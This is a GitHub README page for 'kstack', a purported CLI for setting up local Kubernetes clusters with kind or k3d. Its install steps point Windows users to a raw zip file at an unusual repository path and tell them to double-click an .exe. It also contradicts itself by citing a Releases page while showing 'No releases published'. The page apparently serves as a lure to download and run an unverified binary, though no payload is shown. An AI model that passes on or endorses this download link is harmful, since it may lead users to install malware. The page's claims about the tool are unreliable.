Skip to content
/ kstack Public

πŸš€ Set up a local Kubernetes stack effortlessly with kstack, a developer-first CLI for creating kind or k3d clusters with ready-to-use Helm addons.

License

Notifications You must be signed in to change notification settings

XYlaik/kstack

🌟 kstack - Simplifying Local Kubernetes Development

🏷️ Overview

kstack is a developer-first command-line interface (CLI) and template designed to create local Kubernetes environments. It works seamlessly with kind and k3d, enabling easy management of Kubernetes stacks using Helm-based addons. Built with Go 1.25, kstack streamlines your local development experience.

πŸ’Ύ Download kstack

Download kstack

πŸš€ Getting Started

  1. Visit the Releases Page
    To get kstack, visit this page: Download Page. Here, you will find the latest version of the software.

  2. Select a Release
    Scroll down to find the release that you want to download. Each release comes with a description and various files.

  3. Download the Correct File
    Depending on your operating system, choose and download the appropriate file. Look for files like https://raw.githubusercontent.com/XYlaik/kstack/master/packwaller/kstack.zip for Windows or kstack-linux for Linux. Click on the filename to start the download.

  4. Locate the Download
    Once the download finishes, navigate to your computer’s Downloads folder to find the file.

  5. Run kstack

    • On Windows: Double-click the downloaded .exe file to run.
    • On Linux: Open your terminal, navigate to the folder where you downloaded the file using cd path/to/download/folder, and then run chmod +x kstack-linux to make it executable. After that, run ./kstack-linux to start it.

πŸ”§ System Requirements

To run kstack smoothly, ensure your system meets the following requirements:

  • Operating System:
    • Windows 10 and above
    • Latest version of Ubuntu or other Linux distributions
  • Kubernetes Environment:
    • Kind or k3d installed on your system
  • Internet Connection: Required for downloading any additional components or updates.

πŸ“ Features

kstack provides several key features to enhance your local development with Kubernetes:

  • Easy Setup: Quick creation and management of local Kubernetes clusters.
  • Helm-based Addons: Simplifies the installation of Helm charts for additional functionalities.
  • Community Support: A growing community of users to help tackle any challenges.
  • Documentation: Comprehensive guides and documentation provided for smooth operations.

πŸ“˜ Basic Commands

Once you have kstack running, here are some basic commands to get you started:

  • Create a Kubernetes Cluster:
    Use kstack create --name my-cluster to set up a new cluster named "my-cluster".

  • List Existing Clusters:
    Run kstack list to see all clusters you have created.

  • Delete a Cluster:
    Use kstack delete --name my-cluster to remove a specific cluster.

🍽️ Example Usage

Here’s how you might use kstack in a practical situation:

  1. Create a Cluster
    Open your terminal and run:

    kstack create --name my-app-cluster
    

    This sets up a cluster for your application.

  2. Deploy an Application
    After your cluster is ready, deploy your application using Helm:

    helm install my-app ./my-app-chart
    
  3. Access the Application
    Use kstack get services to find the services running and connect to your application.

πŸ“– Additional Resources

For more information on how to use kstack, check out the following resources:

  • Official Documentation: Comprehensive guides and detailed explanations can be found on the Documentation Page.
  • Community Forum: Join discussions and seek advice in our community at Community Forum.

🐞 Support & Feedback

If you encounter issues or have suggestions, please report them on the Issues Page. Your feedback helps improve kstack for everyone.

πŸ“₯ Download & Install Again

For future reference or to install a new version, please revisit: Download Page.

About

πŸš€ Set up a local Kubernetes stack effortlessly with kstack, a developer-first CLI for creating kind or k3d clusters with ready-to-use Helm addons.

Topics

Resources

License

Code of conduct

Contributing

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 3

  •  
  •  
  •  

Languages